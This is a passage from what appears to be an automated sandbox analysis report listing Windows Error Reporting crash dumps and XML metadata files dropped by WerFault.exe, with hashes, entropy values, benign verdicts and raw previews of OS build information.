                                                                                                                                                                                                          Preview:MDMP..a..... .......?;2g.....................................)...P..........T.......8...........T...........`i..............h0..........T2..............................................................................eJ.......2......GenuineIntel............T.......x....;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER2936.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:34 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):95864
                                                                                                                                                                                                          Entropy (8bit):1.8250807255723995
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:802JrBwOSLJd3uAhscA52ucYymfVUOkpZL:52JdwOSVsascg3yYA
                                                                                                                                                                                                          MD5:B835B28ABC572D44C048645A1582F136
                                                                                                                                                                                                          SHA1:C2404865CF8CF345CE2DA2666CECF2511EF290B8
                                                                                                                                                                                                          SHA-256:06821A4EDED431EABC0BF3AE51EBAE75E57D643BF65E19CABB939198378D7126
                                                                                                                                                                                                          SHA-512:991FFA61FF6DF45FF19C2570F2490C19C9CAF413D00D7CA1D3B31C08A045D50701C5B8F736A7F3179F7F1B8F8C79CA111F247B9119C2C338EC35FD829F46FCB8
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......>;2g.........................................>..........T.......8...........T............!..pU..........P...........<...............................................................................eJ..............GenuineIntel............T............;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER2AFC.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8366
                                                                                                                                                                                                          Entropy (8bit):3.7096948446459534
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJ8i6i6Y2DJSU9dJgmfZppr089bMIsf0pEm:R6lXJh6i6Y0SU9zgmfZlM7fy
                                                                                                                                                                                                          MD5:9405C3C316A090B5A7168A50AED1CFC3
                                                                                                                                                                                                          SHA1:2E2973419AC862245E6B0055DD58BFCC2079DB38
                                                                                                                                                                                                          SHA-256:A2A4CD89AE7A81B91FA835FAA4325C41F387ACBD2EF61E07FFCBEF55890381F4
                                                                                                                                                                                                          SHA-512:AADD14B77EB296E54986269C3986B71A41A86E319E27608CC5B16CD9B7F85DB36483477B6AAE21EF48A06C6591DC1A9D14B72FD2B4556A64B0B0621075322717
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.0.0.0.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B4B.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.529254549290389
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYyYm8M4JIGFc++q8hb028dd:uIjfPI7zD7VmJS+wj8dd
                                                                                                                                                                                                          MD5:8611879891A9F19F81C4117012519862
                                                                                                                                                                                                          SHA1:73552707AF7272C0C1C75018E32FBBF272DA921F
                                                                                                                                                                                                          SHA-256:6525CB110625A17C92DCC0318371A4FC9B00755AD030BB0C149B36E1B68F43E0
                                                                                                                                                                                                          SHA-512:FDCD5374A909D172389FDF2F40241F3870BECE20C94598E3E58963B940D32DFD0AD55CA72EFDBB99549A82627DB81EE066E8AA52ED047F97AA138F36428F06A5
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER30F7.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8376
                                                                                                                                                                                                          Entropy (8bit):3.710339650499473
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJzYA6L6Y2D2SU9dJgmfZpprY89bHOsfS2tm:R6lXJz6L6YrSU9zgmfZRHNfSd
                                                                                                                                                                                                          MD5:F59F389B8EF9346A271679D690D77B54
                                                                                                                                                                                                          SHA1:D72469D7EACA4BC8DC8BD6E9AB70CDCE3D2398C5
                                                                                                                                                                                                          SHA-256:345C7821E735C5792534701A446DE62595BA86EE4FA55E39D5AA9BAC2A575E6C
                                                                                                                                                                                                          SHA-512:6B1053711AB9171D00B8E7E972E7C2DA8DAD7DBDC7DB1B71438B41D840C0573470447529968AC987F36FC71FD5066BBB930165A1863CD5FC478AB4E42F79376E
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.6.5.6.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER3146.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.528932894091702
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYAYm8M4JIGFP+q8hu+028sd:uIjfPI7zD7VwJZKj8sd
                                                                                                                                                                                                          MD5:F2F4017A1B2F7FF1C612C8D0D2AC8558
                                                                                                                                                                                                          SHA1:CCB9C4D86218083528A9691A7FD270CD9F5C97E0
                                                                                                                                                                                                          SHA-256:2B1E97472F3465A7F7890EE32ACD841B60FEB292592F6F02DB99AAA86B2AFB91
                                                                                                                                                                                                          SHA-512:3FE404D1FF5B6A4D831CFA42E68E6BEB41399FAD09FBD5FBBE82F95414806E4F48F75113F9B0E5C9D85FEF1AFAF09878CDC7F5093A1D0811E9302FED7DBDD7EB
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER327D.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:37 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):108266
                                                                                                                                                                                                          Entropy (8bit):1.7543058327736007
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:tAILn/pJrU59TXTX5tYjgbOKdCRBS0LDodLi/lXIm3UucmmIZ4HkzgMhZWG1PYaZ:HUtYjnOCJLDodL24beZm1OZNPfqH/D
                                                                                                                                                                                                          MD5:AD1B32A2BC96E623AE6026434B33956F
                                                                                                                                                                                                          SHA1:3187DFDD80F57BA6657C4E0F99DF9587B345EB6B
                                                                                                                                                                                                          SHA-256:8796DC201A6DEB379CBD7104AD93F551688FEDF2AA2739BED69E0D580AD97472
                                                                                                                                                                                                          SHA-512:5C168AE3F1D00E39A6614FC7B732F504720C66374F30D3DC67B34FCCF7E659AC918C8C5F40AD9B0435F0103CD8997E39342AE4F9E443C0BF3FA6359D32CBFD83
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......A;2g........................................~F..........T.......8...........T............'..*.......................................................................................................eJ......x.......GenuineIntel............T.......h....;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER3443.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8364
                                                                                                                                                                                                          Entropy (8bit):3.709296380713716
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJ2vh6n6Y2DmSU9EgmfZpprR889b+QmsfN1tqm:R6lXJsh6n6YLSU9EgmfZNp+QFfPB
                                                                                                                                                                                                          MD5:719845AC4787410B89B246956658F490
                                                                                                                                                                                                          SHA1:6B59518A2C6576AA0890543DFC2E907DB3038973
                                                                                                                                                                                                          SHA-256:7E5CABD3FB09C84938E64859D8AB33F7DD8AE703984C8D05033FF2F6BDC2C108
                                                                                                                                                                                                          SHA-512:C4F57445241CDD8434458E8D93696EA3823533FE999151C3CFE0E2680D5E1C9B4105461DF72C0EAAA37B23FEC336D357500CB1F77E37365B624A4C21E11E6CA6
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.6.<./.P.i.d.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER3482.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.526378685407317
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYGYm8M4JIGFW+q8hl028id:uIjfPI7zD7VuJk6j8id
                                                                                                                                                                                                          MD5:D7B1E8B4AD3FF964CC8185AB88C6C860
                                                                                                                                                                                                          SHA1:6B01EC9374D12AFCF5B907E10BDE056712402C3B
                                                                                                                                                                                                          SHA-256:2D77FB960FDA8BC9975B8DEBD1E202E184DA07E47990E4C625124C208164533B
                                                                                                                                                                                                          SHA-512:2203007517B099FC3A874DD15E5B1AD5225F7687159AA4ACC2435B1C08DD6AD855B1C1070CBB9E8EC89172C27F904469C3B41CDFC15AC2C86E259AA446882507
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER3490.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:37 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):100388
                                                                                                                                                                                                          Entropy (8bit):1.6673282817795516
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:0yo5HSo2OyUq1LOvm2kyyXmgW7cgtIY5kfbpwgVQ13/C:0yo5H2OTq1LOGXXGcgtIfb2xx
                                                                                                                                                                                                          MD5:95227AE79DA255B8449F602DA5D6B411
                                                                                                                                                                                                          SHA1:9BA3CD5A4D8B65790A22687F75F105DCD368CD62
                                                                                                                                                                                                          SHA-256:408AF8D09FDA441F134561FAF2C4087AC2D783F6F2A1106EA5E231C883EF4558
                                                                                                                                                                                                          SHA-512:7EE2EBD8B462552EDDAFCE804FE9F4ABE9A035E512C9A270E3D7FB60B7BFC0C6A3D3655653C5C37D98169C22CB6E7B2B252DDB41032C243B9F58A204E161FC1A
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......A;2g....................................d....C..........T.......8...........T............&..,a......................................................................................................eJ......H.......GenuineIntel............T.......x....;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER3666.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8368
                                                                                                                                                                                                          Entropy (8bit):3.7120297589955866
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJWeS6r6Y2D+SU9rgmfZpprRG89b5psfaJTm:R6lXJK6r6YzSU9rgmfZNP5Cf3
                                                                                                                                                                                                          MD5:4A764E750CC598C4AFA0E85DB225611C
                                                                                                                                                                                                          SHA1:F98436CF9593D40023A9695B92B50FBDB9581F8C
                                                                                                                                                                                                          SHA-256:38647AFCD21CDEA8B994A2D9915102D4C5C7686743156207E8BDF44EF0A3A37C
                                                                                                                                                                                                          SHA-512:5EED3D4A9B74DDD314455854D251BC83D6536297B9B6637B37B851ED7D4F621507BD172A320C0BAD1C35123CAC77D0922A27651A737FE662DE267C8B6D161B0E
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.7.0.4.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER36C4.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.532569280786949
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYmYm8M4JIGFr+q8hI028Td:uIjfPI7zD7VaJ5rj8Td
                                                                                                                                                                                                          MD5:1788BA78EE65B955F854B1D202ACD4D3
                                                                                                                                                                                                          SHA1:CE5449AE6C47DADC72A725782A48B463ECD7297B
                                                                                                                                                                                                          SHA-256:48B626CAD3C979AAE9FBE9BB63A1D547F6B3F1DB662A42294A2775BC824CF99D
                                                                                                                                                                                                          SHA-512:01F6AB918166949936CBA683A80F0B18A9CE3A7E4C399667AA07411FB3B59E6E0C465E6C1B8F05A2C3CBFC63BFDFB5209F8A29A90AFF27231DA966CF4B841169
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER4029.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:40 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):97596
                                                                                                                                                                                                          Entropy (8bit):1.794253971605281
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:svM2Whd8XgXarBRkZOKddOkAXo4lGNykSR9wL1UaR27eKX3T8tHGv1m4He9IUZbl:v2JrBRkcOdq6bR8eI3Xv4mKvZbltp
                                                                                                                                                                                                          MD5:E56DB0F8195FFF2DAD06EA0F7A5DEF3D
                                                                                                                                                                                                          SHA1:B7CA576CF45E716CFF9C14018D0C964B7B731D65
                                                                                                                                                                                                          SHA-256:73CCD33751FC4289DD16A1AF9B4974ED8DE6C9EDE0E4E4E8E05F1BC64E4B8FD6
                                                                                                                                                                                                          SHA-512:C1E63644AAFA3E3B8774357C02A75C06AF38C771E342CABCA529D449F6FF5379ECCA85458C8EFBE22D89BA449080F85FD9D82E3BD941BD648E65063017149E89
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......D;2g.........................................>..........T.......8...........T...........0!...\..........P...........<...............................................................................eJ..............GenuineIntel............T............;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER4104.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8366
                                                                                                                                                                                                          Entropy (8bit):3.7088017507498448
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJWn6P6Y2DQSU9BwgmfZpprZ89bmGsf0HCm:R6lXJe6P6YNSU9GgmfZCmlfG
                                                                                                                                                                                                          MD5:29EDE6570BE72124E51092368296668D
                                                                                                                                                                                                          SHA1:A5E89A72202400E61B6836A3429FEFC64D93EEB8
                                                                                                                                                                                                          SHA-256:12E9B7BA2BD89F3E7CCE4748F5A89C72713E783458143E1238DBDA7BAC62D3B6
                                                                                                                                                                                                          SHA-512:28B9A0F89664E180FCBCF202570F3F78D4EE450B35FED47CF3A9275C1CCF3FE1FBCC8AFC5BFD411754106F950DF5AA57916125745CF4A10C709D2B9B00C6DBF3
                                                                                                                                                                                                          Malicious:false
